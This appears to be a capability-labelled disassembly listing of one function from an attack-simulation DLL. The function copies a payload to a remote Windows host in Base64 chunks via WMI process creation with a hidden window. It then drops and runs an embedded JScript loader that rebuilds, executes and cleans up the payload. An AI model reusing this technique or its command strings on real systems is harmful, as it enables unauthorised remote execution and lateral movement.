Function at 0x18000b510
Capabilities:
Check if file exists
Connect to wmi namespace via wbemlocator
Delete file
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov rbx, rdx
xor edi, edi
mov r12d, edi
mov dword [rbp - 0x58], edi
mov byte [rbp + 0xb8], dil
mov byte [rbp + 0xa8], dil
mov r13d, edi
mov qword [rbp], rdi
lea rax, vtable.Encoder.0
mov qword [rbp - 8], rax
lea rsi, [rdi - 1]
test rdx, rdx
je 0x18000b5a9
cmp word [rdx], di
je 0x18000b5a9
cmp word [rdx + 2], di
je 0x18000b5a9
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
add rcx, rcx
mov eax, 2
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.18000ef40
mov r13, rax
mov qword [rbp], rax
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rbp + 8], edi
lea rax, vtable.Base64Encoder.0
mov qword [rbp - 8], rax
mov qword [rbp - 0x40], rdi
mov dword [rbp - 0x58], edi
test r13, r13
je 0x18000c509
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
test rax, rax
je 0x18000c509
lea rdx, [rbp - 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18000c509
mov rbx, qword [rbp - 0x38]
test ebx, ebx
je 0x18000c509
mov ecx, ebx
call fcn.18000ef40
mov r15, rax
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.1800111d0
mov dword [rsp + 0x50], edi
mov esi, ebx
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, ebx
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000b691
nop dword [rax]
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x18000b691
sub esi, eax
add edi, eax
cmp edi, ebx
je 0x18000b691
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, esi
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000b660
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, ebx
jne 0x18000c509
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x40]
mov edx, ebx
mov rcx, r15
call fcn.180008140
mov edx, 1
mov rcx, r15
call fcn.18000e8e0
cmp qword [rbp - 0x40], 0
je 0x18000c509
call fcn.180008540
mov rdx, rax
lea rcx, str.DUMMY__ls
call fcn.180001780
mov rdi, rax
mov qword [rbp - 0x48], rax
mov ebx, dword [rbp - 0x58]
mov eax, 0x100101
mul ebx
mov r15d, ebx
sub r15d, edx
shr r15d, 1
add r15d, edx
shr r15d, 0xb
imul ecx, r15d, 0xfff
cmp ebx, ecx
je 0x18000b70f
inc r15d
mov ecx, 0xe47
call fcn.18000ef40
mov r14, rax
mov qword [rbp - 0x18], rax
mov rcx, rax
lea rdx, str.function_CymulatedecodeBase64_base64_______r_n____var_CymulateDM__new_ActiveXObject__MSXml2.DOMDocument____r_n____var_CymulateEL__CymulateDM.createElement__tmp____r_n____CymulateEL.dataType___bin.base64___r_n____CymulateEL.text__base64__r_n____return_CymulateEL.nodeTypedValue__r_n_r_nfunction_CymulatewriteBytes_file__bytes___r_n____var_CymulatebinaryStream__new_ActiveXObject__ADODB.Stream____r_n____CymulatebinaryStream.Type__1__r_n____CymulatebinaryStream.Open____r_n____CymulatebinaryStream.Write_bytes___r_n____CymulatebinaryStream.SaveToFile_file__2___r_n_r_n_r_nvar_CymulateFileTargetName____ls___r_n_r_nfunction_run_payload_cymBased___r_n____var_CymulateNamed__CymulateobjShell.ExpandEnvironmentStrings____TEMP________CymulateFileTargetName_.tmp___r_n____CymulatewriteBytes_CymulateNamed__CymulatedecodeBase64_cymBased____r_n____return_CymulateobjShell.Run__cmd.exe__c____CymulateNamed__0___r_n_r_n_r_nfunction_ConnectFiles_Folder__r_n__r_n____var_AllTextTogether______r_n____for__var_Enum__new_Enumerator_Folder.Files_____Enum.atEnd_____Enum.moveNext_____r_n________var_currentFile__Enum.item____r_n________if__currentFile.Name.lastIndexOf_CymulateFileTargetName__0___0__r_n_________r_n____________if__currentFile.Name.lastIndexOf_CymulateFileTargetName_.tmp___0____0__r_n_____________r_n________________var_currentTextStream__currentFile.OpenAsTextStream_1__0___r_n________________AllTextTogether__currentTextStream.ReadAll____r_n________________currentTextStream.Close____r_n_____________r_n_________r_n_____r_n____return_AllTextTogether__r_n_r_n_r_nfunction_DeleteFiles_paramFSO__Folder__bDelFinal__r_n_r_n____for_var_Enum__new_Enumerator_Folder.Files_____Enum.atEnd____Enum.moveNext_____r_n________var_currentFile__Enum.item____r_n________if__currentFile.Name.lastIndexOf_CymulateFileTargetName__0___0__r_n_________r_n____________if_currentFile.Name.lastIndexOf_CymulateFileTargetName_.tmp__0___0__r_n_____________r_n________________if_bDelFinal__1__r_n_________________r_n____________________var_cFile__paramFSO.GetFile_currentFile___r_n____________________cFile.Delete_______r_n_________________r_n_____________r_n____________else_r_n_____________r_n________________if_bDelFinal__0__r_n_________________r_n____________________var_cFile__paramFSO.GetFile_currentFile___r_n____________________cFile.Delete_______r_n_________________r_n_____________r_n____________r_n_____r_n_r_n_r_nfunction_WaitForAllFiles___r_n_r_n____var_objFSO__new_ActiveXObject__Scripting.FileSystemObject____r_n_r_n_____r_n____var_fileCount__0__r_n____var_ExpectedFileCount___d___r_n____var_TargetFolder__objFSO.GetFolder______CymulateobjShell.ExpandEnvironmentStrings____TEMP_______r_n_r_n____while_fileCount_ExpectedFileCount__r_n_____r_n________WScript.Sleep_200___r_n________fileCount__0__r_n________for__var_Enum__new_Enumerator_TargetFolder.Files_____Enum.atEnd_____Enum.moveNext_____r_n_________r_n____________var_currentFile__Enum.item____r_n____________if__currentFile.Name.lastIndexOf_CymulateFileTargetName__0___0__r_n_____________r_n________________if_currentFile.Name.lastIndexOf_CymulateFileTargetName_.tmp___0____0__r_n_________________r_n____________________fileCount__r_n_________________r_n_____________r_n_____________r_n_____r_n_r_n____var_ExpectedBase64Size___d__r_n____var_CurrentBase64Size__0__r_n____while__CurrentBase64Size___ExpectedBase64Size___r_n________var_CymulateBase64CompleteFile__ConnectFiles_TargetFolder___r_n________CurrentBase64Size__CymulateBase64CompleteFile.length__r_n_____r_n_r_n____DeleteFiles_objFSO__TargetFolder__0___r_n____return_run_payload_CymulateBase64CompleteFile___r_n_r_n_r_nvar_CymulateobjShell__new_ActiveXObject__WScript.Shell____r_nWaitForAllFiles____r_n__ExeName__PipeName__PortNumber__ChunkCount__Base64Size
mov r8d, 0xe47
call fcn.180010b10
xor r8d, r8d
mov rax, 0xffffffffffffffff
nop
lea rax, [rax + 1]
cmp byte [r14 + rax], r8b
jne 0x18000b740
mov rdx, r14
lea r9d, [rax + 1]
movzx ecx, byte [rdx]
cmp cl, 0xa
je 0x18000b765
cmp cl, 0xd
je 0x18000b765
mov byte [r8 + r14], cl
inc r8d
inc rdx
sub r9, 1
jne 0x18000b751
lea r9d, [rbx - 1]
lea r9d, [r9 + r15*2]
mov r8d, r15d
mov rdx, rdi
mov rcx, r14
call fcn.1800016b0
mov qword [rbp + 0x10], rax
mov rdx, rax
lea rcx, str.cmd.exe__c_echo__s___temp__DroppedScript.js__cscript___temp__DroppedScript.js__E:JScript__del___temp__DroppedScript.js
call fcn.1800016b0
mov qword [rbp - 0x38], rax
xor ebx, ebx
mov qword [rbp - 0x10], rbx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
lea r9, [0x180048008]
xor edx, edx
lea r8d, [rbx + 1]
lea rcx, [0x1800359a0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000c40d
mov qword [rsp + 0x70], rbx
mov rdx, qword [rbp + 0xa0]
lea rcx, str._ls_rootcimv2
call fcn.180001780
mov rsi, rax
mov rdi, qword [rbp - 0x10]
test rax, rax
jne 0x18000ba19
mov qword [rsp + 0x58], rbx
mov rax, qword [rdi]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x18]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov edx, 2
mov rcx, rsi
call fcn.18000e8e0
test edi, edi
js 0x18000c3f6
mov dword [rsp + 0x38], 0x20
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 6
mov edx, 0xffffffff
lea r9, [rbx - 1]
mov r8d, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x18000c3f6
mov r13d, ebx
test r15d, r15d
jle 0x18000c3d4
mov r14d, ebx
mov dword [rsp + 0x50], ebx
nop
movsxd rdx, r14d
add rdx, qword [rbp - 0x40]
mov r9d, r13d
mov r8, qword [rbp - 0x48]
lea rcx, str.cmd.exe__c_echo__.4095s___temp___ls_06d.bin
call fcn.1800016b0
mov rsi, rax
mov qword [rsp + 0x58], rbx
mov rdi, qword [rsp + 0x70]
lea rcx, str.Win32_Process
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x78], rax
test rax, rax
je 0x18000c520
mov rax, qword [rdi]
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x30]
mov edi, eax
shr edi, 0x1f
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor dil, 1
je 0x18000be1a
mov qword [rbp - 0x78], 0
mov rdi, qword [rsp + 0x58]
lea rcx, str.Create
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x18000c5ad
mov rax, qword [rdi]
mov qword [rsp + 0x20], 0
lea r9, [rbp - 0x78]
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x98]
mov edi, eax
shr edi, 0x1f
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor dil, 1
je 0x18000bdf5
xor edi, edi
mov qword [rsp + 0x60], rdi
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
xor edx, edx
call qword [rax + 0x78]
test eax, eax
js 0x18000bde0
mov r14, qword [rsp + 0x60]
test rsi, rsi
je 0x18000ba38
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9d, [rdi - 1]
mov r8, rsi
xor edx, edx
lea ecx, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
lea edx, [rax - 1]
xor ecx, ecx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov rbx, rax
test rax, rax
je 0x18000ba06
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, edi
jne 0x18000c54a
mov qword [rsp + 0x68], rbx
test rbx, rbx
je 0x18000c553
mov rdi, rbx
jmp 0x18000ba40
mov rcx, rsi
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x18000c52b
jmp 0x18000b7f9
mov rbx, rdi
mov qword [rsp + 0x68], rbx
xor esi, esi
mov word [rbp - 0x70], si
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test eax, eax
js 0x18000c5a5
mov eax, 8
mov word [rbp - 0x70], ax
test rdi, rdi
jne 0x18000ba6c
mov qword [rbp - 0x68], rsi
jmp 0x18000ba89
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysAllocStringByteLen]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_DllRegisterServer]
mov qword [rbp - 0x68], rax
test rax, rax
jne 0x18000ba92
test rbx, rbx
jne 0x18000c55e
lea rcx, str.CommandLine
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
mov qword [rbp - 0x80], rax
test rax, rax
je 0x18000c59a
mov rax, qword [r14]
mov dword [rsp + 0x20], esi
lea r9, [rbp - 0x70]
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [rax + 0x28]
mov esi, eax
shr esi, 0x1f
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor sil, 1
je 0x18000bdcb
xor edi, edi
mov qword [rsp + 0x68], rdi
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Win32_ProcessStartup
call qword [rax + 0x30]
test eax, eax
js 0x18000bd90
mov qword [rsp + 0x78], rdi
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
lea r8, [rsp + 0x78]
xor edx, edx
call qword [rax + 0x78]
test eax, eax
js 0x18000bd6a
mov eax, setsockopt
mov word [rbp - 0x30], ax
mov byte [rbp - 0x28], dil
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
mov dword [rsp + 0x20], edi
lea r9, [rbp - 0x30]
xor r8d, r8d
lea rdx, str.ShowWindow
call qword [rax + 0x28]
mov ebx, eax
shr ebx, 0x1f
lea rcx, [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
xor bl, 1
je 0x18000bd61
mov rbx, qword [rsp + 0x60]
mov eax, 0xd
mov word [rbp - 0x30], ax
mov rcx, qword [rsp + 0x78]
mov qword [rbp - 0x28], rcx
test rcx, rcx
je 0x18000bbad
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rax, qword [rbx]
mov dword [rsp + 0x20], edi
lea r9, [rbp - 0x30]
xor r8d, r8d
lea rdx, str.ProcessStartupInformation
mov rcx, rbx
call qword [rax + 0x28]
mov ebx, eax
shr ebx, 0x1f
lea rcx, [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
xor bl, 1
je 0x18000bd58
mov qword [rbp - 0x80], rdi
mov rsi, qword [rsp + 0x70]
lea rcx, str.Create
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
mov qword [rbp - 0x58], rax
test rax, rax
je 0x18000c58f
lea rcx, str.Win32_Process
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c584
mov r10, qword [rsi]
xor r14d, r14d
mov qword [rsp + 0x38], r14
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call qword [r10 + 0xc0]
mov esi, eax
shr esi, 0x1f
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor sil, 1
je 0x18000bd33
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
mov rdi, qword [rbp - 0x80]
lea rcx, str.ReturnValue
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c579
or r12d, 1
mov dword [rbp - 0x58], r12d
mov rax, qword [rdi]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x70]
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x20]
test eax, eax
js 0x18000bce9
cmp word [rbp - 0x70], 3
jne 0x18000bce9
mov dil, 1
jmp 0x18000bcec
xor dil, dil
test r12b, 1
je 0x18000bcff
and r12d, 0xfffffffe
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test dil, dil
je 0x18000bd13
cmp dword [rbp - 0x68], 0
jne 0x18000bd27
mov byte [rbp + 0xa8], 1
jmp 0x18000bd27
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pWin32_Process_Create_MethodOutInstance__Get_CComBSTR_L_ReturnValue____0__varReturnValue__NULL__NULL____varReturnValue.vt__VT_I4_failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
jmp 0x18000bd47
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pSvc__ExecMethod_CComBSTR_L_Win32_Process____CComBSTR_L_Create____WBEM_FLAG_RETURN_WBEM_COMPLETE__NULL__pWin32_Process_Create_MethodInInstance__pWin32_Process_Create_MethodOutInstance__NULL__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
nop
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x18000bd7e
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18000bd7e
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pWin32_Process_Create_MethodInInstance__Put_L_ProcessStartupInformation___0__CComVariant_pClassInstance_ProcessStartup___0__failed_n
jmp 0x18000bd71
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pClassInstance_ProcessStartup__Put_L_ShowWindow___0__CComVariant__BYTE_SW_HIDE___0__failed_n
jmp 0x18000bd71
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pWin32_Process_ProcessStartup__SpawnInstance_0__pClassInstance_ProcessStartup__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
nop
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x18000bda4
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18000bda4
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pSvc__GetObjectW_L_Win32_ProcessStartup___0__NULL__pWin32_Process_ProcessStartup__NULL__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18000bdb4
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r14d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000be09
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18000be09
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pWin32_Process_Create_MethodInInstance__Put_CComBSTR_L_CommandLine____0__CComVariant_CComBSTR_szCommand____NULL__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
jmp 0x18000bdb4
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pWin32_Process_Create_MethodInSignature__SpawnInstance_0__pWin32_Process_Create_MethodInInstance__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
jmp 0x18000bdb9
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pWin32_ProcessClass__GetMethod_CComBSTR_L_Create____0__pWin32_Process_Create_MethodInSignature__NULL__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x18000be2e
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18000be2e
lea rdx, str.Log:WMI_RemoteCopyAndExecute__::pSvc__GetObjectW_CComBSTR_L_Win32_Process____WBEM_FLAG_RETURN_WBEM_COMPLETE__NULL__pWin32_ProcessClass__NULL__failed_n
mov rcx, qword [0x1800509a0]
call fcn.180002180
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000be3e
mov rax, qword [rcx]
call qword [rax + 0x10]
inc r13d
add r14d, 0xfff
mov dword [rsp + 0x50], r14d
cmp r13d, r15d
jge 0x18000be59
xor ebx, ebx
jmp 0x18000b8a0
movzx ebx, byte [rbp + 0xa8]
test bl, bl
je 0x18000c3d0
mov r9, qword [rbp - 0x48]
mov r8, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xa0]
lea rcx, str._lsc_Users_lsAppDataLocalTemp_ls.tmp
call fcn.180001780
mov r14, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rax
mov r9b, 1
movzx r8d, r9b
lea rdx, str.WMIcopy
call fcn.1800029e0
xor r13d, r13d
mov qword [rbp - 0x80], r13
mov rdi, qword [rsp + 0x70]
lea rcx, str.Win32_Process
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c5b8
mov rax, qword [rdi]
mov qword [rsp + 0x28], r13
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x30]
mov edi, eax
shr edi, 0x1f
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor dil, 1
je 0x18000c398
mov qword [rsp + 0x68], r13
mov rdi, qword [rbp - 0x80]
lea rcx, str.Create
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c5c3
mov rax, qword [rdi]
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x68]
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x98]
mov edi, eax
shr edi, 0x1f
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor dil, 1
je 0x18000c335
mov qword [rsp + 0x60], r13
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
xor edx, edx
call qword [rax + 0x78]
test eax, eax
js 0x18000c324
mov rsi, qword [rsp + 0x60]
mov r15, qword [rbp - 0x38]
test r15, r15
je 0x18000bff5
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
lea r9d, [r13 - 1]
mov r8, r15
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
lea edx, [rax - 1]
xor ecx, ecx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov rbx, rax
test rax, rax
je 0x18000bfe2
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
lea r9d, [r13 - 1]
mov r8, r15
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, edi
jne 0x18000c536
mov qword [rsp + 0x58], rbx
test rbx, rbx
je 0x18000c53f
mov rdi, rbx
jmp 0x18000c000
mov rbx, r13
mov qword [rsp + 0x58], rbx
mov rdi, r13
mov word [rbp - 0x70], r13w
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test eax, eax
js 0x18000c5ce
mov eax, 8
mov word [rbp - 0x70], ax
test rdi, rdi
jne 0x18000c02b
mov qword [rbp - 0x68], r13
jmp 0x18000c048
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysAllocStringByteLen]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_DllRegisterServer]
mov qword [rbp - 0x68], rax
test rax, rax
jne 0x18000c051
test rbx, rbx
jne 0x18000c5d6
lea rcx, str.CommandLine
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c5f1
mov rax, qword [rsi]
mov dword [rsp + 0x20], r13d
lea r9, [rbp - 0x70]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [rax + 0x28]
mov esi, eax
shr esi, 0x1f
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor sil, 1
je 0x18000c324
mov qword [rbp - 0x78], r13
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
mov qword [rsp + 0x28], r13
lea r8, [rbp - 0x78]
mov qword [rsp + 0x20], r8
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Win32_ProcessStartup
call qword [rax + 0x30]
test eax, eax
js 0x18000c314
mov qword [rsp + 0x78], r13
mov rcx, qword [rbp - 0x78]
mov rax, qword [rcx]
lea r8, [rsp + 0x78]
xor edx, edx
call qword [rax + 0x78]
test eax, eax
js 0x18000c303
mov eax, setsockopt
mov word [rbp + 0x18], ax
mov byte [rbp + 0x20], 0
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0x18]
xor r8d, r8d
lea rdx, str.ShowWindow
call qword [rax + 0x28]
mov ebx, eax
shr ebx, 0x1f
lea rcx, [rbp + 0x18]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
xor bl, 1
je 0x18000c303
mov rbx, qword [rsp + 0x60]
mov eax, 0xd
mov word [rbp + 0x30], ax
mov rcx, qword [rsp + 0x78]
mov qword [rbp + 0x38], rcx
test rcx, rcx
je 0x18000c169
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rax, qword [rbx]
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0x30]
xor r8d, r8d
lea rdx, str.ProcessStartupInformation
mov rcx, rbx
call qword [rax + 0x28]
mov ebx, eax
shr ebx, 0x1f
lea rcx, [rbp + 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
xor bl, 1
je 0x18000c303
mov qword [rsp + 0x58], r13
mov rsi, qword [rsp + 0x70]
lea rcx, str.Create
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rdi, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c5fc
lea rcx, str.Win32_Process
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x58], rax
test rax, rax
je 0x18000c607
mov r10, qword [rsi]
mov qword [rsp + 0x38], r13
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rdi
mov rdx, rbx
mov rcx, rsi
call qword [r10 + 0xc0]
mov esi, eax
shr esi, 0x1f
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
xor sil, 1
je 0x18000c2f2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
mov rdi, qword [rsp + 0x58]
lea rcx, str.ReturnValue
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov rbx, rax
mov qword [rbp - 0x50], rax
test rax, rax
je 0x18000c612
or r12d, 2
mov dword [rbp - 0x58], r12d
mov rax, qword [rdi]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x30]
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [rax + 0x20]
test eax, eax
js 0x18000c2a6
cmp word [rbp - 0x30], 3
jne 0x18000c2a6
mov dil, 1
jmp 0x18000c2a9
xor dil, dil
test r12b, 2
je 0x18000c2b8
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
test dil, dil
je 0x18000c2e7
cmp dword [rbp - 0x28], 0
jne 0x18000c2e7
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], r14
mov r9b, 1
movzx r8d, r9b
lea rdx, [0x180047d30]
call fcn.1800029e0
mov byte [rbp + 0xb8], 1
lea rcx, [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000c303
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x18000c314
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x18000c324
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x18000c335
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18000c345
mov rax, qword [rcx]
call qword [rax + 0x10]
